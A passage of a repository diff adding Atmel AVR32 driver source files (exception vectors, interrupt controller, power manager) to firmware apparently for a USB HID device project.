.org 0x034
|
||||
// Data Address (Read).
|
||||
_handle_Data_Address_Read:
|
||||
rjmp $
|
||||
|
||||
.org 0x038
|
||||
// Data Address (Write).
|
||||
_handle_Data_Address_Write:
|
||||
rjmp $
|
||||
|
||||
.org 0x03C
|
||||
// DTLB Protection (Read).
|
||||
_handle_DTLB_Protection_Read:
|
||||
rjmp $
|
||||
|
||||
.org 0x040
|
||||
// DTLB Protection (Write).
|
||||
_handle_DTLB_Protection_Write:
|
||||
rjmp $
|
||||
|
||||
.org 0x044
|
||||
// DTLB Modified: UNUSED IN AVR32UC.
|
||||
_handle_DTLB_Modified:
|
||||
rjmp $
|
||||
|
||||
.org 0x050
|
||||
// ITLB Miss.
|
||||
_handle_ITLB_Miss:
|
||||
rjmp $
|
||||
|
||||
.org 0x060
|
||||
// DTLB Miss (Read).
|
||||
_handle_DTLB_Miss_Read:
|
||||
rjmp $
|
||||
|
||||
.org 0x070
|
||||
// DTLB Miss (Write).
|
||||
_handle_DTLB_Miss_Write:
|
||||
rjmp $
|
||||
|
||||
.org 0x100
|
||||
// Supervisor Call.
|
||||
_handle_Supervisor_Call:
|
||||
rjmp $
|
||||
|
||||
|
||||
// Interrupt support.
|
||||
// The interrupt controller must provide the offset address relative to EVBA.
|
||||
// Important note:
|
||||
// All interrupts call a C function named _get_interrupt_handler.
|
||||
// This function will read group and interrupt line number to then return in
|
||||
// R12 a pointer to a user-provided interrupt handler.
|
||||
|
||||
.balign 4
|
||||
|
||||
.irp priority, 0, 1, 2, 3
|
||||
_int\priority:
|
||||
#if __AVR32_UC__
|
||||
// R8-R12, LR, PC and SR are automatically pushed onto the system stack by the
|
||||
// CPU upon interrupt entry. No other register is saved by hardware.
|
||||
#elif __AVR32_AP__
|
||||
// PC and SR are automatically saved in respectively RAR_INTx and RSR_INTx by
|
||||
// the CPU upon interrupt entry. No other register is saved by hardware.
|
||||
pushm r8-r12, lr
|
||||
#endif
|
||||
mov r12, \priority // Pass the int_level parameter to the _get_interrupt_handler function.
|
||||
call _get_interrupt_handler
|
||||
cp.w r12, 0 // Get the pointer to the interrupt handler returned by the function.
|
||||
#if __AVR32_UC__
|
||||
movne pc, r12 // If this was not a spurious interrupt (R12 != NULL), jump to the handler.
|
||||
#elif __AVR32_AP__
|
||||
breq spint\priority // If this was a spurious interrupt (R12 == NULL), branch.
|
||||
st.w --sp, r12 // Push the pointer to the interrupt handler onto the system stack since no register may be altered.
|
||||
popm r8-r12, lr, pc // Restore registers and jump to the handler.
|
||||
spint\priority:
|
||||
popm r8-r12, lr
|
||||
#endif
|
||||
rete // If this was a spurious interrupt (R12 == NULL), return from event handler.
|
||||
.endr
|
||||
|
||||
|
||||
// Constant data area.
|
||||
|
||||
.balign 4
|
||||
|
||||
// Values to store in the interrupt priority registers for the various interrupt priority levels.
|
||||
// The interrupt priority registers contain the interrupt priority level and
|
||||
// the EVBA-relative interrupt vector offset.
|
||||
.global ipr_val
|
||||
.type ipr_val, @object
|
||||
ipr_val:
|
||||
.word (AVR32_INTC_INT0 << AVR32_INTC_IPR_INTLEVEL_OFFSET) | (_int0 - _evba),\
|
||||
(AVR32_INTC_INT1 << AVR32_INTC_IPR_INTLEVEL_OFFSET) | (_int1 - _evba),\
|
||||
(AVR32_INTC_INT2 << AVR32_INTC_IPR_INTLEVEL_OFFSET) | (_int2 - _evba),\
|
||||
(AVR32_INTC_INT3 << AVR32_INTC_IPR_INTLEVEL_OFFSET) | (_int3 - _evba)
|
||||
|
||||
|
||||
//! \endverbatim
|
||||
//! @}
|
214
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/intc.c
Executable file
214
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/intc.c
Executable file
|
@ -0,0 +1,214 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief INTC driver for AVR32 UC3.
|
||||
*
|
||||
* AVR32 Interrupt Controller driver module.
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 devices with an INTC module can be used.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#include <avr32/io.h>
|
||||
#include "compiler.h"
|
||||
#include "preprocessor.h"
|
||||
#include "intc.h"
|
||||
|
||||
// define _evba from exception.S
|
||||
extern void _evba;
|
||||
|
||||
//! Values to store in the interrupt priority registers for the various interrupt priority levels.
|
||||
extern const unsigned int ipr_val[AVR32_INTC_NUM_INT_LEVELS];
|
||||
|
||||
__int_handler _get_interrupt_handler(unsigned int int_level);
|
||||
|
||||
//! Creates a table of interrupt line handlers per interrupt group in order to optimize RAM space.
|
||||
//! Each line handler table contains a set of pointers to interrupt handlers.
|
||||
#if (defined __GNUC__)
|
||||
#define DECL_INT_LINE_HANDLER_TABLE(GRP, unused) \
|
||||
static volatile __int_handler _int_line_handler_table_##GRP[Max(AVR32_INTC_NUM_IRQS_PER_GRP##GRP, 1)];
|
||||
#elif (defined __ICCAVR32__)
|
||||
#define DECL_INT_LINE_HANDLER_TABLE(GRP, unused) \
|
||||
static volatile __no_init __int_handler _int_line_handler_table_##GRP[Max(AVR32_INTC_NUM_IRQS_PER_GRP##GRP, 1)];
|
||||
#endif
|
||||
MREPEAT(AVR32_INTC_NUM_INT_GRPS, DECL_INT_LINE_HANDLER_TABLE, ~);
|
||||
#undef DECL_INT_LINE_HANDLER_TABLE
|
||||
|
||||
//! Table containing for each interrupt group the number of interrupt request
|
||||
//! lines and a pointer to the table of interrupt line handlers.
|
||||
static const struct
|
||||
{
|
||||
unsigned int num_irqs;
|
||||
volatile __int_handler *_int_line_handler_table;
|
||||
} _int_handler_table[AVR32_INTC_NUM_INT_GRPS] =
|
||||
{
|
||||
#define INSERT_INT_LINE_HANDLER_TABLE(GRP, unused) \
|
||||
{AVR32_INTC_NUM_IRQS_PER_GRP##GRP, _int_line_handler_table_##GRP},
|
||||
MREPEAT(AVR32_INTC_NUM_INT_GRPS, INSERT_INT_LINE_HANDLER_TABLE, ~)
|
||||
#undef INSERT_INT_LINE_HANDLER_TABLE
|
||||
};
|
||||
|
||||
|
||||
/*! \brief Default interrupt handler.
|
||||
*
|
||||
* \note Taken and adapted from Newlib.
|
||||
*/
|
||||
#if (defined __GNUC__)
|
||||
__attribute__((__interrupt__))
|
||||
#elif (defined __ICCAVR32__)
|
||||
__interrupt
|
||||
#endif
|
||||
static void _unhandled_interrupt(void)
|
||||
{
|
||||
// Catch unregistered interrupts.
|
||||
while (TRUE);
|
||||
}
|
||||
|
||||
|
||||
/*! \brief Gets the interrupt handler of the current event at the \a int_level
|
||||
* interrupt priority level (called from exception.S).
|
||||
*
|
||||
* \param int_level Interrupt priority level to handle.
|
||||
*
|
||||
* \return Interrupt handler to execute.
|
||||
*
|
||||
* \note Taken and adapted from Newlib.
|
||||
*/
|
||||
__int_handler _get_interrupt_handler(unsigned int int_level)
|
||||
{
|
||||
// ICR3 is mapped first, ICR0 last.
|
||||
// Code in exception.S puts int_level in R12 which is used by AVR32-GCC to
|
||||
// pass a single argument to a function.
|
||||
unsigned int int_grp = AVR32_INTC.icr[AVR32_INTC_INT3 - int_level];
|
||||
unsigned int int_req = AVR32_INTC.irr[int_grp];
|
||||
|
||||
// As an interrupt may disappear while it is being fetched by the CPU
|
||||
// (spurious interrupt caused by a delayed response from an MCU peripheral to
|
||||
// an interrupt flag clear or interrupt disable instruction), check if there
|
||||
// are remaining interrupt lines to process.
|
||||
// If a spurious interrupt occurs, the status register (SR) contains an
|
||||
// execution mode and interrupt level masks corresponding to a level 0
|
||||
// interrupt, whatever the interrupt priority level causing the spurious
|
||||
// event. This behavior has been chosen because a spurious interrupt has not
|
||||
// to be a priority one and because it may not cause any trouble to other
|
||||
// interrupts.
|
||||
// However, these spurious interrupts place the hardware in an unstable state
|
||||
// and could give problems in other/future versions of the CPU, so the
|
||||
// software has to be written so that they never occur. The only safe way of
|
||||
// achieving this is to always clear or disable peripheral interrupts with the
|
||||
// following sequence:
|
||||
// 1: Mask the interrupt in the CPU by setting GM (or IxM) in SR.
|
||||
// 2: Perform the bus access to the peripheral register that clears or
|
||||
// disables the interrupt.
|
||||
// 3: Wait until the interrupt has actually been cleared or disabled by the
|
||||
// peripheral. This is usually performed by reading from a register in the
|
||||
// same peripheral (it DOES NOT have to be the same register that was
|
||||
// accessed in step 2, but it MUST be in the same peripheral), what takes
|
||||
// bus system latencies into account, but peripheral internal latencies
|
||||
// (generally 0 cycle) also have to be considered.
|
||||
// 4: Unmask the interrupt in the CPU by clearing GM (or IxM) in SR.
|
||||
// Note that steps 1 and 4 are useless inside interrupt handlers as the
|
||||
// corresponding interrupt level is automatically masked by IxM (unless IxM is
|
||||
// explicitly cleared by the software).
|
||||
//
|
||||
// Get the right IRQ handler.
|
||||
//
|
||||
// If several interrupt lines are active in the group, the interrupt line with
|
||||
// the highest number is selected. This is to be coherent with the
|
||||
// prioritization of interrupt groups performed by the hardware interrupt
|
||||
// controller.
|
||||
//
|
||||
// If no handler has been registered for the pending interrupt,
|
||||
// _unhandled_interrupt will be selected thanks to the initialization of
|
||||
// _int_line_handler_table_x by INTC_init_interrupts.
|
||||
//
|
||||
// exception.S will provide the interrupt handler with a clean interrupt stack
|
||||
// frame, with nothing more pushed onto the stack. The interrupt handler must
|
||||
// manage the `rete' instruction, what can be done thanks to pure assembly,
|
||||
// inline assembly or the `__attribute__((__interrupt__))' C function
|
||||
// attribute.
|
||||
return (int_req) ? _int_handler_table[int_grp]._int_line_handler_table[32 - clz(int_req) - 1] : NULL;
|
||||
}
|
||||
|
||||
//! Init EVBA address. This sequence might also be done in the utils/startup/startup_uc3.S file.
|
||||
static __inline__ void INTC_init_evba(void)
|
||||
{
|
||||
Set_system_register(AVR32_EVBA, (int)&_evba );
|
||||
}
|
||||
|
||||
void INTC_init_interrupts(void)
|
||||
{
|
||||
unsigned int int_grp, int_req;
|
||||
|
||||
INTC_init_evba();
|
||||
|
||||
// For all interrupt groups,
|
||||
for (int_grp = 0; int_grp < AVR32_INTC_NUM_INT_GRPS; int_grp++)
|
||||
{
|
||||
// For all interrupt request lines of each group,
|
||||
for (int_req = 0; int_req < _int_handler_table[int_grp].num_irqs; int_req++)
|
||||
{
|
||||
// Assign _unhandled_interrupt as default interrupt handler.
|
||||
_int_handler_table[int_grp]._int_line_handler_table[int_req] = &_unhandled_interrupt;
|
||||
}
|
||||
|
||||
// Set the interrupt group priority register to its default value.
|
||||
// By default, all interrupt groups are linked to the interrupt priority
|
||||
// level 0 and to the interrupt vector _int0.
|
||||
AVR32_INTC.ipr[int_grp] = ipr_val[AVR32_INTC_INT0];
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void INTC_register_interrupt(__int_handler handler, unsigned int irq, unsigned int int_level)
|
||||
{
|
||||
// Determine the group of the IRQ.
|
||||
unsigned int int_grp = irq / AVR32_INTC_MAX_NUM_IRQS_PER_GRP;
|
||||
|
||||
// Store in _int_line_handler_table_x the pointer to the interrupt handler, so
|
||||
// that _get_interrupt_handler can retrieve it when the interrupt is vectored.
|
||||
_int_handler_table[int_grp]._int_line_handler_table[irq % AVR32_INTC_MAX_NUM_IRQS_PER_GRP] = handler;
|
||||
|
||||
// Program the corresponding IPRX register to set the interrupt priority level
|
||||
// and the interrupt vector offset that will be fetched by the core interrupt
|
||||
// system.
|
||||
// NOTE: The _intx functions are intermediate assembly functions between the
|
||||
// core interrupt system and the user interrupt handler.
|
||||
AVR32_INTC.ipr[int_grp] = ipr_val[int_level & (AVR32_INTC_IPR_INTLEVEL_MASK >> AVR32_INTC_IPR_INTLEVEL_OFFSET)];
|
||||
}
|
98
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/intc.h
Executable file
98
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/intc/intc.h
Executable file
|
@ -0,0 +1,98 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief INTC driver for AVR32 UC3.
|
||||
*
|
||||
* AVR32 Interrupt Controller driver module.
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 devices with an INTC module can be used.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _INTC_H_
|
||||
#define _INTC_H_
|
||||
|
||||
#include "compiler.h"
|
||||
|
||||
|
||||
//! Maximal number of interrupt request lines per group.
|
||||
#define AVR32_INTC_MAX_NUM_IRQS_PER_GRP 32
|
||||
|
||||
//! Number of interrupt priority levels.
|
||||
#define AVR32_INTC_NUM_INT_LEVELS (1 << AVR32_INTC_IPR_INTLEVEL_SIZE)
|
||||
|
||||
|
||||
#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling.
|
||||
|
||||
//! Pointer to interrupt handler.
|
||||
#if (defined __GNUC__)
|
||||
typedef void (*__int_handler)(void);
|
||||
#elif (defined __ICCAVR32__)
|
||||
typedef void (__interrupt *__int_handler)(void);
|
||||
#endif
|
||||
|
||||
|
||||
/*! \brief Initializes the hardware interrupt controller driver.
|
||||
*
|
||||
* \note Taken and adapted from Newlib.
|
||||
*/
|
||||
extern void INTC_init_interrupts(void);
|
||||
|
||||
/*! \brief Registers an interrupt handler.
|
||||
*
|
||||
* \param handler Interrupt handler to register.
|
||||
* \param irq IRQ of the interrupt handler to register.
|
||||
* \param int_level Interrupt priority level to assign to the group of this IRQ.
|
||||
*
|
||||
* \warning The interrupt handler must manage the `rete' instruction, what can
|
||||
* be done thanks to pure assembly, inline assembly or the
|
||||
* `__attribute__((__interrupt__))' C function attribute.
|
||||
*
|
||||
* \warning If several interrupt handlers of a same group are registered with
|
||||
* different priority levels, only the latest priority level set will
|
||||
* be effective.
|
||||
*
|
||||
* \note Taken and adapted from Newlib.
|
||||
*/
|
||||
extern void INTC_register_interrupt(__int_handler handler, unsigned int irq, unsigned int int_level);
|
||||
|
||||
#endif // __AVR32_ABI_COMPILER__
|
||||
|
||||
|
||||
#endif // _INTC_H_
|
566
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm.c
Executable file
566
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/pm/pm.c
Executable file
|
@ -0,0 +1,566 @@
|
|||
/*This file has been prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief Power Manager driver.
|
||||
*
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 devices.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
*****************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#include "compiler.h"
|
||||
#include "pm.h"
|
||||
|
||||
|
||||
/*! \name PM Writable Bit-Field Registers
|
||||
*/
|
||||
//! @{
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long mcctrl;
|
||||
avr32_pm_mcctrl_t MCCTRL;
|
||||
} u_avr32_pm_mcctrl_t;
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long cksel;
|
||||
avr32_pm_cksel_t CKSEL;
|
||||
} u_avr32_pm_cksel_t;
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long pll;
|
||||
avr32_pm_pll_t PLL;
|
||||
} u_avr32_pm_pll_t;
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long oscctrl0;
|
||||
avr32_pm_oscctrl0_t OSCCTRL0;
|
||||
} u_avr32_pm_oscctrl0_t;
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long oscctrl1;
|
||||
avr32_pm_oscctrl1_t OSCCTRL1;
|
||||
} u_avr32_pm_oscctrl1_t;
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long oscctrl32;
|
||||
avr32_pm_oscctrl32_t OSCCTRL32;
|
||||
} u_avr32_pm_oscctrl32_t;
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long ier;
|
||||
avr32_pm_ier_t IER;
|
||||
} u_avr32_pm_ier_t;
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long idr;
|
||||
avr32_pm_idr_t IDR;
|
||||
} u_avr32_pm_idr_t;
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long icr;
|
||||
avr32_pm_icr_t ICR;
|
||||
} u_avr32_pm_icr_t;
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long gcctrl;
|
||||
avr32_pm_gcctrl_t GCCTRL;
|
||||
} u_avr32_pm_gcctrl_t;
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long rccr;
|
||||
avr32_pm_rccr_t RCCR;
|
||||
} u_avr32_pm_rccr_t;
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long bgcr;
|
||||
avr32_pm_bgcr_t BGCR;
|
||||
} u_avr32_pm_bgcr_t;
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long vregcr;
|
||||
avr32_pm_vregcr_t VREGCR;
|
||||
} u_avr32_pm_vregcr_t;
|
||||
|
||||
typedef union
|
||||
{
|
||||
unsigned long bod;
|
||||
avr32_pm_bod_t BOD;
|
||||
} u_avr32_pm_bod_t;
|
||||
|
||||
//! @}
|
||||
|
||||
|
||||
/*! \brief Sets the mode of the oscillator 0.
|
||||
*
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM).
|
||||
* \param mode Oscillator 0 mode (i.e. AVR32_PM_OSCCTRL0_MODE_x).
|
||||
*/
|
||||
static void pm_set_osc0_mode(volatile avr32_pm_t *pm, unsigned int mode)
|
||||
{
|
||||
// Read
|
||||
u_avr32_pm_oscctrl0_t u_avr32_pm_oscctrl0 = {pm->oscctrl0};
|
||||
// Modify
|
||||
u_avr32_pm_oscctrl0.OSCCTRL0.mode = mode;
|
||||
// Write
|
||||
pm->oscctrl0 = u_avr32_pm_oscctrl0.oscctrl0;
|
||||
}
|
||||
|
||||
|
||||
void pm_enable_osc0_ext_clock(volatile avr32_pm_t *pm)
|
||||
{
|
||||
pm_set_osc0_mode(pm, AVR32_PM_OSCCTRL0_MODE_EXT_CLOCK);
|
||||
}
|
||||
|
||||
|
||||
void pm_enable_osc0_crystal(volatile avr32_pm_t *pm, unsigned int fosc0)
|
||||
{
|
||||
pm_set_osc0_mode(pm, (fosc0 < 900000) ? AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G0 :
|
||||
(fosc0 < 3000000) ? AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G1 :
|
||||
(fosc0 < 8000000) ? AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G2 :
|
||||
AVR32_PM_OSCCTRL0_MODE_CRYSTAL_G3);
|
||||
}
|
||||
|
||||
|
||||
void pm_enable_clk0(volatile avr32_pm_t *pm, unsigned int startup)
|
||||
{
|
||||
pm_enable_clk0_no_wait(pm, startup);
|
||||
pm_wait_for_clk0_ready(pm);
|
||||
}
|
||||
|
||||
|
||||
void pm_disable_clk0(volatile avr32_pm_t *pm)
|
||||
{
|
||||
pm->mcctrl &= ~AVR32_PM_MCCTRL_OSC0EN_MASK;
|
||||
}
|
||||
|
||||
|
||||
void pm_enable_clk0_no_wait(volatile avr32_pm_t *pm, unsigned int startup)
|
||||
{
|
||||
// Read register
|
||||
u_avr32_pm_oscctrl0_t u_avr32_pm_oscctrl0 = {pm->oscctrl0};
|
||||
// Modify
|
||||
u_avr32_pm_oscctrl0.OSCCTRL0.startup = startup;
|
||||
// Write back
|
||||
pm->oscctrl0 = u_avr32_pm_oscctrl0.oscctrl0;
|
||||
|
||||
pm->mcctrl |= AVR32_PM_MCCTRL_OSC0EN_MASK;
|
||||
}
|
||||
|
||||
|
||||
void pm_wait_for_clk0_ready(volatile avr32_pm_t *pm)
|
||||
{
|
||||
while (!(pm->poscsr & AVR32_PM_POSCSR_OSC0RDY_MASK));
|
||||
}
|
||||
|
||||
|
||||
/*! \brief Sets the mode of the oscillator 1.
|
||||
*
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM).
|
||||
* \param mode Oscillator 1 mode (i.e. AVR32_PM_OSCCTRL1_MODE_x).
|
||||
*/
|
||||
static void pm_set_osc1_mode(volatile avr32_pm_t *pm, unsigned int mode)
|
||||
{
|
||||
// Read
|
||||
u_avr32_pm_oscctrl1_t u_avr32_pm_oscctrl1 = {pm->oscctrl1};
|
||||
// Modify
|
||||
u_avr32_pm_oscctrl1.OSCCTRL1.mode = mode;
|
||||
// Write
|
||||
pm->oscctrl1 = u_avr32_pm_oscctrl1.oscctrl1;
|
||||
}
|
||||
|
||||
|
||||
void pm_enable_osc1_ext_clock(volatile avr32_pm_t *pm)
|
||||
{
|
||||
pm_set_osc1_mode(pm, AVR32_PM_OSCCTRL1_MODE_EXT_CLOCK);
|
||||
}
|
||||
|
||||
|
||||
void pm_enable_osc1_crystal(volatile avr32_pm_t *pm, unsigned int fosc1)
|
||||
{
|
||||
pm_set_osc1_mode(pm, (fosc1 < 900000) ? AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G0 :
|
||||
(fosc1 < 3000000) ? AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G1 :
|
||||
(fosc1 < 8000000) ? AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G2 :
|
||||
AVR32_PM_OSCCTRL1_MODE_CRYSTAL_G3);
|
||||
}
|
||||
|
||||
|
||||
void pm_enable_clk1(volatile avr32_pm_t *pm, unsigned int startup)
|
||||
{
|
||||
pm_enable_clk1_no_wait(pm, startup);
|
||||
pm_wait_for_clk1_ready(pm);
|
||||
}
|
||||
|
||||
|
||||
void pm_disable_clk1(volatile avr32_pm_t *pm)
|
||||
{
|
||||
pm->mcctrl &= ~AVR32_PM_MCCTRL_OSC1EN_MASK;
|
||||
}
|
||||
|
||||
|
||||
void pm_enable_clk1_no_wait(volatile avr32_pm_t *pm, unsigned int startup)
|
||||
{
|
||||
// Read register
|
||||
u_avr32_pm_oscctrl1_t u_avr32_pm_oscctrl1 = {pm->oscctrl1};
|
||||
// Modify
|
||||
u_avr32_pm_oscctrl1.OSCCTRL1.startup = startup;
|
||||
// Write back
|
||||
pm->oscctrl1 = u_avr32_pm_oscctrl1.oscctrl1;
|
||||
|
||||
pm->mcctrl |= AVR32_PM_MCCTRL_OSC1EN_MASK;
|
||||
}
|
||||
|
||||
|
||||
void pm_wait_for_clk1_ready(volatile avr32_pm_t *pm)
|
||||
{
|
||||
while (!(pm->poscsr & AVR32_PM_POSCSR_OSC1RDY_MASK));
|
||||
}
|
||||
|
||||
|
||||
/*! \brief Sets the mode of the 32-kHz oscillator.
|
||||
*
|
||||
* \param pm Base address of the Power Manager (i.e. &AVR32_PM).
|
||||
* \param mode 32-kHz oscillator mode (i.e. AVR32_PM_OSCCTRL32_MODE_x).
|
||||
*/
|
||||
static void pm_set_osc32_mode(volatile avr32_pm_t *pm, unsigned int mode)
|
||||
{
|
||||
// Read
|
||||
u_avr32_pm_oscctrl32_t u_avr32_pm_oscctrl32 = {pm->oscctrl32};
|
||||
// Modify
|
||||
u_avr32_pm_oscctrl32.OSCCTRL32.mode = mode;
|
||||
// Write
|
||||
pm->oscctrl32 = u_avr32_pm_oscctrl32.oscctrl32;
|
||||
}
|
||||
|
||||
|
||||
void pm_enable_osc32_ext_clock(volatile avr32_pm_t *pm)
|
||||
{
|
||||
pm_set_osc32_mode(pm, AVR32_PM_OSCCTRL32_MODE_EXT_CLOCK);
|
||||
}
|
||||
|
||||
|
||||
